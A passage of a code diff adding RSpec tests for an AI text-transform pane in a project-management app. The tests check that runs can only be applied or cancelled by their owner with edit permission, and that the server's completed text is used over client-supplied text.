"op-dispatched:ai-text-transform:closed") + end + + it "does not cancel another user's run" do + run = create(:ai_text_transform_run, :running) + + delete ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + + expect(run.reload.cancel_requested).to be(false) + end + end + + describe "POST apply" do + it "hands the completed text of the run to the editor, never the client's" do + text = %(Fixed < text "quoted" ) + run = run_with_events(:succeeded, ["completed", { "text" => text }]) + + post apply_ai_text_transform_pane_path(run.uuid), params: pane_params.merge(text: "Forged."), headers: stream + + expect(response.body).to include('action="dispatchEvent"', "op-dispatched:ai-text-transform:accepted") + detail = JSON.parse(Nokogiri::HTML5.fragment(response.body).at("turbo-stream")["detail"]) + expect(detail).to eq("requestId" => request_id, "scope" => "selection", "text" => text) + end + + context "without the permission to edit the work package any more" do + current_user { create(:user, member_with_permissions: { project => %i[view_work_packages] }) } + + it "is forbidden" do + run = create(:ai_text_transform_run, :succeeded, user: current_user, action:) + + post apply_ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + + expect(response).to have_http_status(:forbidden) + expect(response.body).not_to include("op-dispatched") + end + end + + it "refuses a run that has not succeeded" do + run = run_with_events(:running) + + post apply_ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + + expect(response).to have_http_status(:unprocessable_entity) + end + + it "does not apply another user's run" do + run = create(:ai_text_transform_run, :succeeded) + + post apply_ai_text_transform_pane_path(run.uuid), params: pane_params, headers: stream + + expect(response).to have_http_status(:not_found) + end + end + + describe "POST cancel" do + it "requests cancellation of a running run" do + run = run_with_events(:running) + + post cancel_ai_text_transform_pane_path(run.uuid) + + expect(response).to have_http_status(:no_content) + expect(run.reload.cancel_requested).to be(true) + end + + it "does not touch another user's run" do + run = create(:ai_text_transform_run, :running) + + post cancel_ai_text_transform_pane_path(run.uuid) + + expect(response).to have_http_status(:not_found) + expect(run.reload.cancel_requested).to be(false) + end + end +end diff --git a/spec/services/ai/text_transforms/context_spec.rb b/spec/services/ai/text_transforms/context_spec.rb index 0220cf148f76..bc576baa9153 100644 --- a/spec/services/ai/text_transforms/context_spec.rb +++ b/spec/services/ai/text_transforms/context_spec.rb @@ -41,6 +41,10 @@ expect(context).to have_attributes(work_package:, project:, type:) end + it "is identified by the work package" do + expect(context.ids).to eq(work_package_id: work_package.id) + end + it "resolves the type's default variant" do expect(context.type_variant).to eq(type.default_variant) end @@ -72,6 +76,10 @@ expect(context).to have_attributes(work_package: nil, project:, type:) end + it "is identified by the project and the type" do + expect(context.ids).to eq(project_id: project.id, type_id: type.id) + end + it "resolves the variant through the project" do expect(context.type_variant).to eq(project.type_variant(type)) end @@ -98,6 +106,7 @@ expect(context).to have_attributes(work_package: nil, project: nil, type: nil) expect(context.type_variant).to be_nil expect(context.template).to be_nil + expect(context.ids).to eq({}) end end end